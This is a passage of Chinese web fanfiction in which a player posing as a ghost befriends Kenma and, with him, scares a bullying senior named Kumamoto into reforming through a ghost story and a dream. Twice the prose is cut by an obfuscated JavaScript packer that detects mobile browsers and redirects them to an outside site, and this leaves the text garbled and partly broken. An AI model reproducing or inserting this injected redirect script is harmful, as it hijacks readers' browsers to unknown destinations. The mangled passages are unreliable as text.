我突然有些坐立不安,身下软乎乎的坐垫就像把人吸附在上面:“这个嘛……” 研磨突然关掉了我的八点档肥皂剧,好像对刚刚的话题毫不在意一般,站了起来:“我去打游戏了。” “真奇怪。”我嘟囔着,一边重新按开电视,“我还要看呢。” 走到另一边的研磨把耳机挂在脖子上,自言自语地说了句:“有喜欢的人有什么好的。” 我抱胸,站在他的跟前,身后的肥皂剧里男女主正拉拉扯扯争吵着。 “你这么想可不对。” 像被踩到猫尾巴,研磨放下耳机,也仰头:“有什么不对。” “世界上互相喜欢也算是小概率事件,暗恋这种事情既消耗精力又会让自己不高兴。” 我看着他气鼓鼓争辩的脸,忽然一笑:“那你绝对没有真的暗恋过一个人。” 他递给我一个[有何高见的眼神]。 “暗恋一个人才不止是不开心和酸涩,更重要的是有一个值得憧憬的人,他会给你指引方向和慰藉。” 研磨像是抓住我言语里的漏洞:“千流分得清仰慕和喜欢的区别吗?” 我反驳:“怎么可能分不清。” 他歪头:“千流说得那么具体,是有具体的人吧。” 我撇过脑袋,支支吾吾:“大人的事小孩别打听。” 他争得上风,浑身散发着得意洋洋的气息,连游戏机都放在一边了。 我把头往哪个方向扭,他就把椅子滑到那一边。 我指责:“研磨,你这个样子真的很幼稚。” 他毫不在意:“跟幼稚鬼待在一起就会变幼稚。” 他拖长音:“千流就是分不清,还装作大人。”配上他懒洋洋的语气和上扬的嘴角,更加欠揍了。 我虽然知道这是研磨的激将法,仍然毫不犹豫地上当了:“那种感觉我当然分的清!” “每个人都会有时候觉得前面的坎迈不过去了吧。”我看着研磨,突然一噎,他或许不会这么想,但不知道为何他没有反驳我,而是静悄悄地仰头倾听。 就像是,接下来我就算胡乱说一通,他也会毫不犹豫地相信。 我把这奇怪的感觉抛之脑后,接着说道:“我就是那个时候遇到那个人的,他是我的笔友。” “在我觉得……很不好的时候,是他一直鼓励我,他写给我的每一封信我都留着。” 我叉腰,看向研磨:“怎么样,够纯爱吧。” 研磨忽然想到了什么:“笔友?他是哪里人。” “日本人,我们是在一个游戏同好群遇上的。” “千流是因为这个日语这么好的吗?” 我摸摸鼻尖,总觉得研磨在某些时候敏锐地过分,虽然我并不完全是因为他去学日语的,但也有这一部分因素促成。 我摆出一副过来人的姿态:“总之,研磨要知道,要喜欢值得喜欢的人,最好的感情是一起往前走。” 研磨打了个哆嗦:“千流,别用这种好像很成熟的语气说话。” 要不是他现在已经是个高中生了,我准把他现在的脸当作面团揉上一顿。 大概是我的眼神太炽热,研磨向后退了退,他欲言又止:“喂。” 首先,我不叫喂,我叫江千流。 我憋住自己的笑意。 “千流应该知道吧,书信和网络上的相处并不能反应一个人的全部。” 他认真地接着说:“通过文字来伪装自己是再简单不过的事情了。” 我笑眯眯:“收到研磨的关心。” 他立马露出[我才没有关心你]的别扭表情。 “我才没有那么容易上当。”我表示,“我认真判断过了,他绝对是一个好人。” 研磨显然很不信任。 光听我前后的话语确实显得不怎么可信。 “而且,我俩也没有可能了。” 我耸肩,毕竟笔友已经很久没有跟我互相通信了。 我们的关系也仅限于笔友,我连对方的名字都不知道。 有些感情并不一定需要有个结果。 我看见研磨有点无措,悄悄瞥了我一眼,颇为生硬地转移了话题,他指着肥皂剧的画面:“……为什么这个男主趁女主蹲下的时候用她的背跳山羊。” “哈?!”虽然知道研磨是在转移话题,我还是被转移了注意力,无他,是剧情太猎奇了。 我一眨不眨地看向电视,锐评:“难怪男主追不上女主,埋了吧。” 小八突然闪现到我身边,幽幽出声:“研磨绝对是误会了你的那句话。” 我克制着没被神出鬼没的小八吓出声,分神询问它那话是什么意思。 [设定,我们的设定,千流你是鬼吧,鬼和喜欢的人没有可能不就是因为人鬼有别吗。] 难怪刚刚研磨看我的眼神那么复杂,想必脑补了十分纠葛的剧情。 [不过还是不要解释了]小八跟我待久了,身上渗透着随地开摆的气质,死鱼眼说着[反正千流也没有更好的解释方法。] 接下来,我和研磨静静地看完了这部离 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“写了我会回的。”他虽然是个很怕麻烦的人。 我开怀地笑了,笑得非常不合时宜,甚至笑出''了眼角的泪花,就像自己也不知道何时埋在心中的烦闷都随着这场大笑被席卷一空。 我一向喜欢信守承诺的人,也喜欢不轻易给出承诺的人。 只有这样诺言才会显得更有价值。 我想起初次和研磨定下所谓的合作关系,他留有余地在约定里加上一连串的限定词。 到现在几年始终戴在手腕上,即使是它曾格外引人注目也没有把他摘下。 如果我和研磨写信,假使我在信里随意地散播负能量,研磨恐怕也会毫不掩饰地说着“好可怕的千流”,一边接着回信。 假如这不是游戏世界。 我们一定会成为很好的朋友。 我们有着共同的爱好,喜欢互损,天天打打闹闹,但从不违背诺言,默契地说到做到。 “做一辈子的朋友”对我们来说绝对不是难事。 在展望还未说尽的时候,脑海里的防御机制率先拉响警报。 陪伴和依赖也会导致戒断反应,将情感完全寄托在有尽头的攻略对象身上并不是一个明智的选择。 这才是一切游戏制作者给玩家埋下的最大圈套。 我摇摇头,笑着回答研磨:“我已经不写信很久了。” 他分辨着我的话语,找不到什么破绽,良久,沉默地别过了头。 * 孤爪研磨感到烦躁。 他想问,为什么突然莫名其妙地开怀大笑,又在笑完之后选择了拒绝。 不愿意和别人写信,说“不写信很久了”,是事实亦或是拒绝的借口。 他想着不去在意这些,反正之前自己也在心里说过,他们甚至在某种程度上算不上朋友,却任凭思绪信马由缰。 有些时候,他觉得千流就像一阵风。 不讲道理地将他平静的生活搅乱,带来一连串未曾想过的变故,偏偏他的好奇心极强,忍不住伸出手去触碰。 但风抓不住。 24.研磨猫猫养成手札 18 * 在所有与时间有关的词汇中,孤爪研磨最讨厌“年长者”这个词语。 除了部分年长的人与“成熟”“引导”这类词沾边,在日本,更多人依靠年龄的优势,凭借“前辈”的名号恃强凌弱。 将年龄阅历与能力地位挂钩,是最愚蠢不过的事情。 他看着眼前侃侃而谈的熊本学长,对方翻来覆去也就那几句陈词滥调,例如“喂你真的知道什么是努力吗”“这样社团的重担我怎么敢交付到你们手中”。 他垂下脑袋,免得对方发现自己嘴边的笑。 自己的训练量不算大,总比天天在社团巡视的熊本学长多。 至于社团的重担,他不是早就宣称“慧眼识珠”地外包给了下一级的学弟吗,研磨扫了眼忙前忙后组织训练的小黑。 假如自己脑袋上挂着游戏里怒气值的积攒条,那现在恐怕已经位于爆发的边缘了。 “真是的,黑尾他那么轻浮,我真的放心不下...” 他深吸一口气,用残存的理智分析要是现在冲上去揪起熊本学长的衣领,斗殴成功的概率有多大。 虽然自己的个头不如他,但对方长期不训练,说不定自己一拳把他抵到墙上,熊本学长就吓得昏迷过去了。 ...... 把学长揍晕这件事情一定会迅速地在校园里传开吧,到时候自己还能够不引人注目的概率有多大? 熊本学长好像不值得他惹上这么一大个麻烦,但研磨实在担心自己再窝在这里听下去会按捺不住自己的拳头。 早知道还不如不要过来喝水,跟着大部队跑圈。 “熊本学长。”听到小黑渐渐靠近的脚步,研磨放下了手中的拳头。 算熊本学长今天走运。 “猫又教练有事找你。”小黑指了指笑眯眯着的猫又教练。 “嘛,真是的。”熊本学长拂过自己的刘海,无奈摇摇头,“黑尾,这排球部还真是离不开我呢。” 黑尾未置一词的耸了耸肩。 研磨盯着他逐渐离去的背影:“那家伙真是自恋狂。” “他觉得自己比我们大一届,排球部里早就没几个人受得了他,都想着反正他今年就退部了。”黑尾看向研磨,摩挲着下巴,“总感觉你最近心情有些烦躁。” 研磨硬邦邦地回道:“没有吧。” 还说没有。 小黑看了看浑身散发黑气的研磨,讲真的,要是自己晚来一步,或许熊本学长真要光荣地吃上一击破颜拳。 他试探:“昨天又玩游戏到凌晨?”导致起床气延伸到下午? “我没有晚睡。” “孤爪阿姨又让你和叔叔试吃新菜了?” 研磨的脸色一变,光是想象妈妈的新菜品就让人难以忍受,他皱眉:“没有。” “诶。”黑尾苦思,“和你的神秘网友吵架了?” 研磨抱起排球:“有什么好吵架的。”他用排球戳了戳嘴角逐渐上扬的小黑,“该去练习了。” 黑尾站在原地,鸡冠头脑袋酝酿着一锅坏水,他拉平自己的嘴角,免得研磨转过头看到自己又开始炸毛。 * “哇哦,挥洒着汗水的日本男高。”我戴上一副墨镜,担心被男高们身上闪闪发光的汗水晃了眼睛。 小八一脸无语:[需不需要为玩家提供一杯椰汁,让您敬请地驻足观看] 我扭捏:“这样不好吧。” 她还真想。 小八在心里暗中吐槽:[玩家自己不就是高中生,男高不是遍地走] 我怨念:“小八你开什么玩笑。” 我指向肆意挥洒汗水的少年:“这种情况,也就局限在日本,至于我们的运动社团,不过就是学校做做样子而已,同学们早就被[自愿]参加自习活动了。” 天天刷卷子,别说是开朗男高了,我们没有变成怨气少年都算不错了。 我努力辨别,在茫茫肌肉人群中锁定了蘑菇头脑袋,他的面前站着一个浮夸男。 不是我喜欢用外表来评判对象,纯粹是他太浮夸了。 说话的时候喜欢摆动自己那双手,就像是某国总统在拉手风琴,假如把他的手按住,那他肯定失去了说话的功能。 那高高在上看向研磨的表情,和喋喋不休的样子也让我感到不爽,我的护犊子心理立马发作,撸起袖子打算给他点颜色瞧瞧。 小八拽住我:[喂,你应该知道我们最近一直忙着维修各种bug,不能让别人知晓我们的存在吧] 我撇嘴:“当然,小八你们都修了不知道多久的bug了。” “不过。”我不怀好意,“不让他知道是[我],而是误认为是什么其他的灵异存在,这样总可以吧。” 最擅长钻bug的我如是说道。 在和小八确定这样做百分之九十九没有问题后,我又换了个位置欣赏男高们挥洒汗水。 它不解:[玩家不是说要给他一些颜色看看] 小八还是不够稳重。我故作高深地垂眸:“小八,万一这个人只是一个比较浮夸眼睛有些歪喜欢喋喋不休的好人呢,我们可不能误伤无辜群众。” * 事实证明,我江千流的直觉还是相当准的。 浮夸熊本君并不是什么好东西。 那家伙居然批判任劳任怨的小黑是轻浮男,连一口水都不给研磨喝,真不知道研磨和小黑平时过得是什么苦日子。 研磨无奈:“千流,你把心里话都说出来了,还有,我和小黑也没有成天过什么苦日子。”毕竟熊本学长就像偶尔刷新的野怪,平时也不会出现在排球部。 我叉腰:“不就是年长了几岁吗,那我还是千年女鬼呢,资历压了他好几头。” 研磨应和:“不就是大了几岁。” 他目移,眼神在我四周徘徊:“千年女鬼?” 我摸了摸自己的鼻子:“是夸张,夸张的手法。没想到你和小黑都这么能忍,还有那个老虎兄。” “是猛虎。”研磨纠正,他和山本暂时没有什么交流,但对方总是会一脸严肃地盯着他,看起来也是个难缠的家伙。 莫非排球部的都是难搞的刺头? “好的,老虎兄,老虎兄居然能忍住不给他来两拳。” “他不怎么找山本的麻烦。”或许真的是害怕山本的拳头,研磨暗暗想着,“日本非常重视前后辈的关系,一般来说,前辈就算是做了什么让人不爽的事情,身为后辈也只能忍耐。” “好畸形的文化。”我嘟囔,“这么憋屈真的不会变成变态吗。” 我灵光一闪,把研磨拽着凑近,他一个踉跄,还未等他说话我就忙道“抱歉”。 大概是想说的话被我一噎,研磨的脸有些涨红。 干坏事的时候我总爱小声密谋,不过这次应该算是在做好事,我嘀嘀咕咕了一通,研磨瞳孔微震。 我扬眉:“怎么样,既然他这么喜欢日本的前后辈的文化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032036|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们就也用一用鬼怪的文化吧。” “改变熊本志和的心灵宫殿,赚取我们的功德值。” 小八幽幽地在旁边声明:[这完全是玩家自己发布的任务,不会获得积分] 研磨小声,或许是担心别人听到他的“自言自语”。 “好中二哦,千流。——一切都是‘认知’的产物,能够任意重铸。” 一不小心被研磨捕获了我的脑电波,我强行屏蔽自己内心涌上的羞耻感:“什么嘛,明明研磨自己也知道。” “但是我不会攥紧拳头大声念出来。”他又把我说的话捧读了一遍。 一旁什么也不懂的小八看到我吃瘪,发出桀桀桀的怪笑。 研磨早已留下一句话就溜到了排球部训练的队列中。 我抓狂地让自己的脑子不要在循环播放他留下的那句恶魔低语。 ——“赶快行动起来吧,心之怪盗千流。” 他这家伙,真的存在羞耻心这个东西吗? * “研磨学弟。”研磨娴熟地躲了躲熊本学长想要搭上他肩膀的手,熊本有些错愕,旋即清了清嗓,“你刚刚是又跑去偷懒了吗。” 研磨抬头,脸上挂着奇怪的笑容:“我就要去练习了,学长。” “嘶。”黑尾打量看起来坏心情一扫而空的研磨,莫名觉得他这样兴致颇高的样子比往常更加奇特,就像是下一秒有什么人马上就要遭殃。 “你怎么突然心情变得那么好?” 研磨侧过脑袋:“有吗?” 当然,跟前面完全没有睡好觉想要揍人两拳的样子完全不像。 “小黑,你有没有过什么时候觉得一些人和事情不在自己的掌握之中。” 黑尾不置可否:“怎么可能一辈子把所有的事情都掌握在手里,那完全不是真实的世界吧,而是被设定好的程序。” “我觉得我们最能掌握的东西是自己。” 黑尾不大认同:“说不准。” “反正我是这么觉得的。”研磨自顾自地说着,他用左手圈起了一个圈,“比如这是一杯平静的水,是你自己,你发现有一颗石头掉了进来,这杯水不受控地被激起涟漪,你因为捞不到石子而心烦。” 简直是过分抽象的形容,黑尾试着设想了一下:“又因为石头而激起涟漪,又要因为握不住它而心烦,要是真被你握在了手里,它怎么接着激起涟漪?” 研磨一顿,没有回答黑尾的问题,他的左手虚握,右手轻轻一放,就像真的朝水里投入一块石头:“然后你发现,这其实不是一块石头,而是一片泡腾片。” “它不仅把这杯水搅得天翻地覆,还能把别的水也搅个遍。”研磨琥珀色的眼睛闪烁着奇异的幽光,把周围的光影都吞没,他举起左手虚握着的圆。 “这样的事情是不是很有趣?” 是说他认识的某个人拥有把所有事情都变得不同寻常的破坏力吗。 黑尾自认自己喜欢的事情还算平常,喜欢打排球想要赢比赛,这样就足够有趣。 他想起前几天在研磨家里看到的各种五花八门的游戏卡带,里面充斥着让自己头晕目眩的禁忌词汇,果然游戏迷对有趣的定义和他大不相同。 小黑双手合十,目光虔诚,微微闭眼:“鄙人暂无不良嗜好。” 研磨虚握的左手变成了实实在在的拳头,落到了黑尾的身上:“我也完全没有不良嗜好。” 虔诚的小黑:“非也非也。” 25.研磨猫猫养成手札 19 * 日本社会是弱肉强食的社会,凡事讲资历,上级压迫下级,所谓平等的思想不过是等级高的人用来彰显自己的善意和笼络下层人员的手段,毕竟如果不这么做,即使是最低级的人,反抗起来也要费点功夫去处理。 熊本志和一向都这么认为。 或许不是一直。 在国中的时候也有学长凭借资历来驱使他供他们取乐,他一面愤愤地垂着头故作谦卑地质问凭什么,另一面又想着“假使我能这么强大”。 在自己升上国中三年级的时候,他才意识到了凭借资历高高在上的滋味,也切身明白学长们为何乐在其中。 这个社会本就是这样,尽力地向上爬,多熬几个年头,对压自己一头的人谄媚些,对在自己之下的人使用自己的权力。 为此他在高一就加入了等级秩序最严谨的运动社团。 但在他看来,音驹的“学长们”都过于伪善了,猫又教练也一直促成平等的社团氛围,好在迂腐的学长们都毕业了,轮到他成为唯一留任的高三生,自是要大刀阔斧地进行一番改革。 他首先把目光放在了那名发型独特反叛的高二学弟身上,黑尾铁朗,留着一头不羁的鸡冠头,是不良小混混的标配,嘴角也不时挂着几抹坏笑,虽然看起来不大聪明,但也是可以用于培养成自己狗腿的后辈。 于是自己曾多次明里暗里提示他自己的想法,但黑尾实在愚钝不堪重用,自己几次的暗示都被他打太极般还了回来。 无奈自己只能先在社团建立威信。 在某次训练跑圈,他提出要与山本学弟进行比赛,还暗示地拍了拍他的肩膀“你明白该怎么做吧”,山本跟打了鸡血一般,竖着的头发猛猛地点了几下,“我明白的!”。 事实证明他什么也不明白。 熊本志和拼死了劲也只能看到猛虎两条腿抡得飞快,扬起的尘土纷纷扑在他的脸上,他一面吃着猛虎的尾气,一面丧失了自己原有的跑步节奏,只能气喘吁吁地红紫着脸咬牙跑下去。 领先自己一整圈又一次经过他的猛虎狐疑地减速,半直着身子打量气喘吁吁的他,猛虎的音量也与名字一般嘹亮,他的大嗓门在操场上荡开了。 “学长,不是你说要和我进行比赛的吗,真是的,居然不拼尽全力,难道你是故意要给我放水的吗。”猛虎的表情一凛,停下脚步,“这样的成功我才不要,学长展现你的全部实力啊!” 该死的。 熊本累得说不出来话,撑着一口气,听到猛虎的话,一时气血上涌,咬着牙嗅到了一股血腥味。 他是没有拼尽全力吗? 怎么会有这样的体力怪物。他跑完用光了半条命,也明白跟一根筋的家伙不能用所谓委婉的暗示。 熊本他是一个富有毅力的人,否则他就不会在国中几位学长手下跑腿那么久,故而他不会轻易放弃。 秉持着自己敏锐的嗅觉,他很快就找到了刻意将自己淹没在人群里的研磨。 听说他和黑尾是幼驯染,明明气质大相径庭,难道是因为爱好独特发型而走到一起? 在自己向黑尾打听孤爪的时候,对方笑眯眯的表情一下隐去了,突然严肃的表情变得有些压迫感,转瞬他又笑了起来,就像那只是熊本的错觉,虽然黑尾学弟比他小一届,却比他更高,他的手掌压上他的肩膀,熊本皱了皱眉,想提醒他有些用力。 黑尾旋即松开手:“善意提醒一下学长,最好不要这样。” 他背过手:“呀,猛虎有事找我,先走了学长。” 故作玄虚。 熊本觉得自己看人一向很准,孤爪同学那种背离人群,胆怯得常常低着头行走的人,能有什么不好招惹的? * 他怀疑孤爪研磨有预知方面的能力,每当自己在与其他部员交谈,看准他的位置打算找他谈谈心时,一晃神的功夫对方就从原来的位置离开了,不见踪迹。 但百折不挠的熊本总算在这场躲猫猫战役中取胜。 当他拦在孤爪研磨的面前时,他看到对方的嘴巴微张,像是嘟囔着什么,他下意识觉得不是什么好话,不过自己和孤爪同学此前没有交谈,他怎么会知道自己的目的,想到这,熊本放下心来。 “来,研磨学弟,抬起头,在我们排球部要有精气神。” 研磨抬起头,浅浅地瞥了他一眼,熊本还以为自己的打算被看穿了:“孤爪。” 熊本困惑。 “学长请叫我孤爪。” “孤爪学弟。”熊本不知道自己为何下意识顺着他的话行动,他清了清嗓,“最近我发现你在练习上不怎么上心...” 他还没有摆够学长的架子,黑尾就以猫又教练找他有事的名义把他喊走了。 结果猫又教练既没有让他在训练赛上上场的打算,反而派他去干了一堆杂事,他气鼓鼓地回到排球部。懒散地坐在一旁滑动手机的研磨被他尽收眼底,这回他直接忽视了和他搭讪的黑尾。 还未等他说话,孤爪研磨忽然抬头,完全捧读,没有任何真情实意冷冰冰地说:“呀,学长回来了。” 搞什么,前面明明让他叫他“孤爪”,这时候又好像很期待他的到来。 熊本摆起架子,双手抱在胸前,点了点头:“学弟,你刚刚又没有练习,是吗?” 孤爪很“诚恳”地点点头,并表示自己往后再也不摸鱼。 熊本很满意研磨的回答,学弟的顺从更有利于他在排球部立威。 旁边的黑尾一幅眼睛都要掉下来的样子,连猫又教练都隐隐朝这里递来视线,看来大家都把他的举动看在眼里。 他注意到研磨的手机屏幕向外展露,余光看了一眼,是什么灵异志怪的网站,网站的名字还用鲜红的字体标识着,虽然熊本本人是有些害怕这类事物,不过此时正是好机会。 他指了指研磨的手机,研磨非常配合地把手机递给他,没想到自己的打算这么顺利地推进。 熊本看了看手机屏幕,一个女鬼突然从空白的手机屏幕蹦出,他握着手机的手一颤,险些把手机震出去,尽管如此,他还是装作若无其事。 “孤爪学弟,这些东西有什么好怕的。” “噗。”旁边的黑尾突然发出怪笑,他转过身,免得自己看到熊本一脸菜色还要装作胆大的表情,又笑出声。 “啊,但是我真的很害怕,熊本学长有听过卖伞女的故事吗?”依旧是捧读的语气,不过比前几句话的语气更加寒气十足,研磨慢悠悠说着。 熊本悄悄看了研磨一眼,他也同时转过头,黑色的发丝垂落,挡住了整张脸,他莫名有些害怕,想要让孤爪不要再说了。 “不过熊本学长既然一点也不害怕,那我跟学长讲讲这个故事吧,有一个人分享也能壮壮胆。” 熊本后退的步伐因为这句话进退两难,突然一股大力把他推得离研磨更近了,他转身一看,是放大的猛虎的脸,他乐天地加入:“是什么故事,我也来听听。” 猛虎的力气实在太大,简直像强行把他扣押在这里一样,熊本学长无法挣脱,也不愿露怯,只能留下来听孤爪研磨分享的故事。 研磨把手机放在身后,敲下一行字:[一定要讲这个故事吗] 我也怕误伤猛虎,毕竟他看起来是个神经大条的好孩子。 [哎,确实,万一吓到猛虎呢] 研磨不动声色:[不,我不是这个意思。] [我只是担心他们听这个鬼故事都笑出来,很丢人。] 这是研磨对我编故事能力的质疑,我坚定:[包把他们吓得不敢回家] 我斗志昂扬。 * [接下来请脑补研磨用平静无波的声线口述这一段故事] 从前有一位卖伞的孤女,她经常站在桥上卖伞,因为她长得美又温柔,很多人愿意光顾她的生意。 她遇到了一位客户,起初她以为这个客户很值得交往,毕竟他举手投足都流露出一股自信,上知天文,下知地理,经常与她分享世界的最南端是火山般的炼狱,里面生活着各种怪异的生物,无不构造奇特,例如口与...臀部颠倒的犬,(研磨想到这个场景,表情一阵扭曲),还有每走一步就流下黏稠液体的黑色怪物。 卖伞女很喜欢这些奇特的故事,甚至想要亲眼见证这些物种。 山本猛虎忍不住插嘴:“这个男的怎么张嘴就来,世界的最南端不是南极吗。” 研磨点点头,意有所指地接着说:“是的,这个主人公就是一个喜欢不懂装懂,自持博学的人。 卖伞女与他成了好友,不久之后,这个男子说卖伞女的外形出众,倘若做销售必然能够吸引众多顾客,卖伞女心动了,于是他们一起开了家店,起初由于卖伞女的身名远扬,很多人上门,但负责联络客户的男子一直把这些揽作自己的功劳,说他自己很有做生意的天赋。 非但如此,他认为自己是老板,而卖伞女和其他的店员都只是自己的下属,他高高在上地压榨他们,满口皆是什么资历等级,久而久之,卖伞女和店员都受不了他的打压,打算拿着这些年积累的客户联系方式自立门户。 负责暗中转移这些联系方式的是卖伞女,没想到被这位男子发现了。 猛虎若有所思地听着,总觉得故事里描述的男子很像自己身边的人,他瞄了眼熊本学长,熊本学长的拳头紧纂着,猛虎想不通,不过为卖伞女着急:“这个老板总不会对卖伞女耍坏吧。” 研磨点点头:“他确实这么打算。” 他暗中跟随着卖伞女,等她在桥上站着看景色的时候,冲上去抢夺本子,卖伞女竭力反抗。 结果这个男子一个脚滑,自己坠入了河中。 “还算恶有恶报。”黑尾点评着。 研磨觉得这个男子的死法设置的有点滑稽。 故事还没完。 坠入河中的男子因为怨念和不甘心,抱住了桥墩,他死死抱着桥墩,加上这座桥墩恰巧是鬼差在阴阳两界穿行的媒介,鬼差不能把男子强行带走,这样会破坏桥墩,无奈,鬼差们下了一条咒令。 假使有一位德行和这位男子同样有亏的人年年走过这座桥,他由于和这位男子有着同样的性格,这位男子的怨气就会渐渐地以他为载体,等到积累到一定的程度,鬼差们就可以把怨气散去的男子勾走,而这个人负责抱住桥墩,以免桥墩坍塌。 黑尾耸肩:“那看来我们都没有什么好害怕的,毕竟我们的德行都没问题。” “是啊。”研磨默契地接话,“我们也没有做过什么恃强凌弱的事情,也没有仗着自己的资历就欺负在自己之下的人,要遭到报应也是那种人吧。” “啊,熊本学长,你可要小心。” 熊本的后背渗着汗水,他急促地反驳:“说什么呢,我又没干过这种事情。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我蹲下来,摇了摇瘫在垫子里的熊本,他大有一睡不醒的趋势,早知道不把给研磨准备的担架贩卖了,这时候不就能派上用场了。 “又要多花些积分了。”我晃了晃手中的入梦符,一把贴在了熊本的额头上,又晃了晃手上另外两个符纸,“研磨要一起来吗。” 他稍微把头往我这凑近,我茫然,他比了个“傻”的口型,指了指自己的额头。 好萌。 我傻笑。 研磨看破,把符纸从我的手里抽出,点到了我的额头上,随后给自己带上:“这个符纸能不能净化一下你的脑子。” 我抱头,捍卫我的脑袋瓜,连忙摆头:“我的脑袋瓜装的都是干干净净的东西,谢绝洗脑。” 他轻轻握住贴在我额头上的符纸下端,看着我的眼神晦暗不明,我缩了缩:“研磨。” “你在想什么。” 他果然是有读心术! 捧读着:“好萌。” 我一点都不信,他绝对是自负地觉得我的智商不如他,所以用那么深沉的眼神看着我。 * “我的妈。”我还没在他的梦境里站稳脚跟,就被冰凉的水淹没了双腿,赶忙让自己漂浮起来。 看来熊本绝对是被吓坏了,不然也不会在梦里都是茫茫一片的河水,那他本人自然是在桥墩附近。 我戳了戳肩上喵呜喵呜乱叫的三花猫猫,它凶狠地想要咬上我的指尖,我立马逃开:“研磨,你只是变成猫了,又不是真的猫,居然还咬人。” “猫呜猫呜” [为什么你是人我是猫] “我才不是凡人呢,吾乃鬼界玉面鬼差。”话音刚落,我的头上冒出圣光,手里也出现一把巨大的镰刀,可谓中西结合的鬼差形象。 三花猫踩了踩我的肩膀:“既然你能变出这种镰刀,绝对千流把我变成这样的吧!” [入梦符:造梦者可以携带一个随从,随从的形态由造梦主决定。] 我抱住三花猫,紧赶慢赶往桥边走:“有时限啦,先别在意这些,我们先让熊本悔过!” 熊本正淹没在水中,双手紧紧地握着桥墩,喊着“我再也不敢了。” 我施施然地出场,给自己的声音塑造一个全景环绕的特效:“你真的悔过了吗。” 他的手还粘着桥墩,高喊着:“我真的悔过了!” “吾乃鬼差,原本按上届鬼差的旨意,是要将你永远留在这个石桥之下。”我一顿,“不过本鬼差向来怜悯,故而给你一次改过自新的机会。” 他要不是抱着桥墩,早就虔诚鞠躬:“谢谢鬼差大人。” 我一挥镰刀,把他从桥墩上解救下来,他连同一身水渍落在桥上。 “你知道以后要怎么做了吧。” “知道,我以后再也不会以前辈的身份压社团里的后辈一头,一定会干好自己的本职工作。” 我满意地点点头。 不得不说,他还是有胆大包天的一面,在获得我的宽恕后,抬头看了我一眼,视线停留在我肩上的三花猫猫上。 研磨大“喵”一声,表示不想让他看到自己这幅模样,即使不知道他的身份。 我一挥镰刀,他连忙低头。 “大胆,你知道你直视的是什么吗?” 熊本摇头。 研磨心中萌生不祥的预感,像让千流把嘴巴闭上。 千流抢先一步:“你直视的可是我们猫猫大仙!” 亏她想得出来。 还能念得那么大声。 千流的羞耻心总是飘忽不定,让人难以琢磨。 孤爪研磨用喵爪捂住了自己的脸。 26.研磨猫猫养成手札 20 * “研磨。”研磨停下手中击球的动作,看向夜久学长,他正揉着自己的头发。 研磨神游,他的目光悄悄注视夜久学长的头发。 千流的关注点总是奇奇怪怪,比如她就对排球部众人五花八门的发色展开评论,还嚷嚷着“中国高中生一般不能染发,要是有机会染头发,她最想染夜久学长的发色。” 千流称夜久学长的头发是焦糖橘棕,让人一看就想到暖洋洋的枫糖浆,犬冈学长的发色也不错。 “...研磨?”夜久学长疑惑地挥了挥手,“怎么走神了。” 研磨敛神:“怎么了?” 他举起手机:“昨天晚上熊本学长给我发来了退社申请,还有通过我表达对你的歉意,希望我传达。” 研磨刚想点点头表示自己并不在意,夜久学长笑眯眯地接着说:“我拒绝了。” 他转了转手机:“我说如果你愿意的话,他还是面对面跟你道歉比较有诚意,你觉得呢?” 研磨愣了愣,和自己不同,夜久学长一向很尊重学长们,即使是讨厌的熊本学长,他也很尊重对方,没想到这时候会提出亲自来跟自己道歉。 “还是不用了。”研磨慢吞吞地回答。 “好哦。”夜久学长走向装排球的车,“我也开始练球了。” 研磨垂眸,想了想,叫了声“夜久学长”。 “嗯?”夜久回头。 “谢谢。” 研磨瞳孔微震,被夜久学长一把抱住,说实话,夜久学长的身高和自己差不多,他抬起手拍了拍研磨的脑袋,研磨被拍得一愣一愣。 视野里是夜久学长的“焦糖橘棕”发色,研磨出神地想着——确实是暖洋洋的颜色。 * 我满意地看着挂在墙上的日程表,几乎所有的准备材料都已递交,复习也很充分,接着就是等着留学生考试,还有校内考试等等... 我把翻到日历的前几个月,自从接到这个游戏的邮件之后,一切都蛮顺利,我把那天圈了起来,写了大大的“Lucky”。 躺进游戏舱里,我注意到游戏加载界面中的岛屿“撒币”特效越来越少了,就像游戏马上就要破产了一样,不过我乐观地想着,说不定代表着我的攻略进度水涨船高,马上就要攻略成功了。 我和研磨现在已经是可以讨论染头发颜色这样话题的铁杆朋友。 ——不过研磨表示对自己的蘑菇力脑袋很是满意。 视野的右上方,任务栏的位置出现了小小的红点,我把它点开,“咻”地一下,小八的一张大鬼脸出现在我的面前,我被吓了一跳。 “怎么是小八录的视频。”我嘟囔着,“真是鬼吓鬼,吓死鬼。” 小八严肃脸:“我听的见,玩家。这是视频通话。本最智能AI来为你念任务,还有什么不满意的吗?” 我好奇地看着小八的背景板,十分真实,身后的街巷就像是我们小镇的风格,看来他还负责什么中式游戏的维护,真是仍劳仍怨的AI。 小八注意到我的视线,挪了挪视角,整张大脸铺满了屏幕。 [新支线任务:猫又教练的烦恼] [任务简介:猫又教练是音驹排球部的老教练,他总是笑眯眯,运筹帷幄,是令其他教练懊恼的脑力派教练,擅长挖掘成员各自的长处,并将他们维系在一起。但最近,他笑眯眯的眼睛中总是蕴藏着隐隐的烦恼。] 我忍不住:“怎么看出来的。”猫又教练的眼睛明明只有一条缝。 小八:[总之就是如此,系统不会出错。] [本次的任务是,探寻猫又教练的烦恼,可与系统进行核对,并帮助猫又教练解决烦恼。] [任务奖励:50积分+测谎仪] 我眼睛一亮,这次积分倒是给的豪爽,还有测谎仪,到时候绝对要让研磨承认我是他心目中的绝世好友。 [测谎仪介绍:一次性道具,只能使用一次,建议玩家用在重要的地方] 我嘴角一撇,严重怀疑小八其实才有读心术,特地在“重要”两个字加重了音量。 [玩家是否接收任务] “当然。”我和研磨强强联手,目前的支线任务还暂无败绩。 